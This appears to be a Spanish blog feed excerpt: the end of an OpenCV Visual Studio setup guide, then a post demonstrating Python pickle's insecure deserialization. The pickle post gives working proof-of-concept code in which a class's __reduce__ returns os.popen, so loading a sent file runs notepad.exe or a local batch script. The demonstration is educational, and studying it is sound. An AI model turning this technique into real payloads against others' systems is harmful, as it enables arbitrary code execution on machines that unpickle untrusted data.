</p><p>Y finalmente en la opción Vinculador -> Entrada, en donde dice Dependencias Adicionales, en lugar de la librería opencv_worldxxx.lib, se deben ingresar la lista de TODAS las librerías en la carpeta de la variable Path donde están las librerías estáticas:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEA5rogyoSMymneLM_j2i7FIMagyrvyrl-043ObJRzgqvcV17cUsdlTBjT6S-mmXZx5GKvUltaIec91WjOi_02Ai7BGMMjc8Jk-DIxFzyG_HOR6luq1DcG7Ziu5bOBI4S1n45OEgZxu1E/s600/opencv_38.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="356" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEA5rogyoSMymneLM_j2i7FIMagyrvyrl-043ObJRzgqvcV17cUsdlTBjT6S-mmXZx5GKvUltaIec91WjOi_02Ai7BGMMjc8Jk-DIxFzyG_HOR6luq1DcG7Ziu5bOBI4S1n45OEgZxu1E/s16000/opencv_38.png" /></a></div><br /><p>Lo bueno, tengo este script, sólo hay que reemplazar la ruta de las librerías y escribirá en un archivo de texto la lista de todos los archivos que se hallan en esa carpeta:</p><p><span style="font-family: courier;">@echo off<br />REM Next command creates a list of program files<br />dir "D:\opencv\install\x64\vc16\lib" > D:\list_of_libs.txt</span></p><p>Luego abrimos el archivo creado con notepad++ y con alt+selección se puede seleccionar sólo los nombres de los archivos para luego pegarlos:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvojp-bUJ_rPF-0BzRxvbcY381pIQlcWlyseWnUEdmZpFJsu3oDuM9oRbi4yle9MHCzmwkcqoScdWS1tKItT1Dx2yWNrVLSB4EgxqokXwVn3mZsfmy62lBp8UG1H1YHG8nmxHEzEvyenQ/s600/opencv_39.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="558" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvojp-bUJ_rPF-0BzRxvbcY381pIQlcWlyseWnUEdmZpFJsu3oDuM9oRbi4yle9MHCzmwkcqoScdWS1tKItT1Dx2yWNrVLSB4EgxqokXwVn3mZsfmy62lBp8UG1H1YHG8nmxHEzEvyenQ/s16000/opencv_39.png" /></a></div><br /><p>Y eso es todo!</p><p>Y ahora la pregunta:</p><p>¿cómo distribuyo mi aplicación que usa opencv_contrib?</p><p>para distribuir esta... cosa se deben copiar los directorios apuntados por las variables INCLUDE y Path, y pegarse en rutas específicas de la pc destino. En esta pc se deben configurar las respectivas variables INCLUDE y Path para que apunten a las respectivas rutas de los archivos de cabecera h, hpp y los archivos de librerías lib y dll. A pesar de que en Visual Studio sólo se referencian los archivos lib también son necesarias las dlls.</p><p>Es probable que también sea necesario instalar los redistributables de Visual Studio 2019 para C++, se pueden descargar<a href="https://aka.ms/vs/16/release/vc_redist.x64.exe" rel="nofollow" target="_blank"> de aquí de forma directa</a>. Descripción y descarga<a href="https://support.microsoft.com/es-es/topic/descargas-m%C3%A1s-recientes-compatibles-de-visual-c-2647da03-1eea-4433-9aff-95f26a218cc0" rel="nofollow" target="_blank"> aquí.</a><br /></p><p><br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-43372420087054083942020-11-24T13:14:00.005-08:002020-11-24T13:19:30.404-08:00Ejemplo de la vulnerabilidad de la librería Pickle de Python<p> En la <a href="https://docs.python.org/3/library/pickle.html" rel="nofollow" target="_blank">documentación de la libreria Pickle</a> aparece esta advertencia:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9V9K2PCSbNwjBOgu6FFcSf7jZWU-Y1ycvPqxlz2UgG04YthZW9PVU1wqtfwSk3CbMMKKzgNrNaXeE5xPuYw-9Pc223vX3kZBrNxx_CvRB6xf6kBrQaIDgRznBdgxDtzMyQTlannhVJcs/s809/Captura.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="217" data-original-width="809" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9V9K2PCSbNwjBOgu6FFcSf7jZWU-Y1ycvPqxlz2UgG04YthZW9PVU1wqtfwSk3CbMMKKzgNrNaXeE5xPuYw-9Pc223vX3kZBrNxx_CvRB6xf6kBrQaIDgRznBdgxDtzMyQTlannhVJcs/s16000/Captura.PNG" /></a></div>"El módulo pickle no es seguro". No sólo eso, explotar su vulnerabilidad es tan fácil que se puede codificar en menos de diez minutos.<br /><p><a href="https://programacion.net/articulo/los_pickles_de_python_1860" rel="nofollow" target="_blank">Un bonito tutorial en español de Pickle está aquí</a>. Pero lo relevante lo dicen <a href="https://root4loot.com/post/exploiting_cpickle/" rel="nofollow" target="_blank">en esta web en inglés</a>.</p><p></p><p><span style="font-family: inherit;">Para explicar de qué va la vulnerabilidad, primero mostraré un ejemplito tonto, le mando a la clase Pickle un código que llama a <span style="font-family: courier;">subprocess.call()</span> y abre el block de notas en windows:</span></p><p><span style="font-family: courier;"><span style="color: #274e13;"></span></span></p><p><span style="font-family: courier;"><span style="color: #274e13;"># coding=utf-8<br /><span style="color: black;"><span style="color: #2b00fe;">import</span> subprocess<br /><span style="color: #2b00fe;">import</span> pickle<br /><span style="color: #2b00fe;">import</span> cPickle </span><br /></span></span></p><p><span style="font-family: courier;"><span style="color: #274e13;"># pickle sample https://programacion.net/articulo/los_pickles_de_python_1860</span><br />todo = <span style="color: #660000;">"subprocess.call(\"notepad.exe\", shell=True)"</span><br />pickle_file = file(<span style="color: #660000;">'todo.pickle'</span>, <span style="color: #660000;">'w'</span>)<br />pickle.dump(todo, pickle_file)<br />pickle_file.close()<br /></span></p><div style="text-align: left;"><span style="color: #274e13;"><span style="font-family: courier;"># el siguiente código puede ejecutarse en otra máquina</span></span></div><div style="text-align: left;"><span style="font-family: courier;"><span style="color: #274e13;"># basta enviarle el archivo todo.pickle</span><br /></span></div><p><span style="font-family: courier;">pickle_file = file(<span style="color: #660000;">'todo.pickle'</span>)<br />todo2 = pickle.load(pickle_file)<br />pickle_file.close()<br /><span style="color: #2b00fe;">exec</span> todo2</span><br /></p><p>Es un ejemplo tonto porque depende de la función <span style="font-family: courier;">exec()</span> de Python, la cual ejecuta un código arbitrario. El código para ejecutar código arbitrario directamente con Pickle nos la da la web de root4loot, lo he modificado para que en lugar de una petición a un servidor, se ejecute al abrir un archivo:</p><p><span style="font-family: courier;"><span style="color: #274e13;"># coding=utf-8</span><br /><span style="color: #2b00fe;">import</span> pickle<br /><span style="color: #2b00fe;">import </span>cPickle<br /><br /><span style="color: #274e13;">#https://root4loot.com/post/exploiting_cpickle/</span><br /><span style="color: #2b00fe;">class </span>MMM(object):<br /> <span style="color: #2b00fe;">def</span> __reduce__(self):<br /> <span style="color: #2b00fe;">import</span> os<br /> s = <span style="color: #660000;">"notepad.exe"</span><br /> <span style="color: #2b00fe;">return</span> (os.popen, (s,))<br /><br /><span style="color: #2b00fe;">def </span>main():<br /><br /> payload = cPickle.dumps(MMM())<br /><br /> pickle_file = file(<span style="color: #2b00fe;">'todo.pickle'</span>, <span style="color: #2b00fe;">'w'</span>)<br /> pickle.dump(MMM(), pickle_file)<br /> pickle_file.close()</span></p><div style="text-align: left;"><span style="color: #274e13;"><span style="font-family: courier;"> # el siguiente código puede ejecutarse en otra máquina</span></span></div><span style="font-family: courier;"><span style="color: #274e13;"> # basta enviarle el archivo todo.pickle</span></span><span style="font-family: courier;"> </span><br /><span style="font-family: courier;"></span><p><span style="font-family: courier;"> pickle_file = file(<span style="color: #2b00fe;">'todo.pickle'</span>)<br /> pickle.load(pickle_file)<br /> <br /> pickle_file.close()<br /><br /><span style="color: #2b00fe;">if</span> __name__ == <span style="color: #660000;">"__main__"</span>:<br /> main()</span><br /></p><p> </p><p>Más allá de la vulnerabilidad, se me vienen a la mente otros usos como compilación automática de código, descarga de paquetes o ejecución de archivos bat o bash. Por ejemplo, tengo el siguiente bat en mi disco D: llamado <span style="font-family: courier;">sample_bat.bat</span>, que copié de algún sitio en internet:</p><p><span style="font-family: courier;">@<span style="color: #2b00fe;">echo</span> off<br /><span style="color: #274e13;">REM Next command creates a list of program files</span><br /><span style="color: #2b00fe;">dir</span> <span style="color: #660000;">"C:\Program Files"</span> > D:\list_of_program_files.txt</span><br /></p><p>En la clase MM en el código de roo4loot hago el siguiente cambio:</p><p><span style="font-family: courier;"><span style="color: #274e13;">#https://root4loot.com/post/exploiting_cpickle/</span><br /><span style="color: #2b00fe;">class </span>MMM(object):<br /> <span style="color: #2b00fe;">def</span> __reduce__(self):<br /> <span style="color: #2b00fe;">import</span> os<br /> s = <span style="color: #660000;">"D:\\sample_bat.bat"</span><br /> <span style="color: #2b00fe;">return</span> (os.popen, (s,))</span></p><p> </p><p>Y al ejecutar el script de python, me creó este archivo en mi disco D: <br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtjL6q9mlXkBmkRmQVI68fPhE543GBb8Hd3trCeVgllKnB5kTd2t4FlZOWx65p0YTPbocFYouXeYC2U80UL9YARPZ5taJG6DvjrUgdTjSzZjBrX4fT3JnT58JsX378A2wos42qs5dCY_M/s500/Captura.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="373" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtjL6q9mlXkBmkRmQVI68fPhE543GBb8Hd3trCeVgllKnB5kTd2t4FlZOWx65p0YTPbocFYouXeYC2U80UL9YARPZ5taJG6DvjrUgdTjSzZjBrX4fT3JnT58JsX378A2wos42qs5dCY_M/s16000/Captura.PNG" /></a></div><br /><p>El único detalle es que no se imprime nada en la consola donde se ejecuta el script de python.<br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0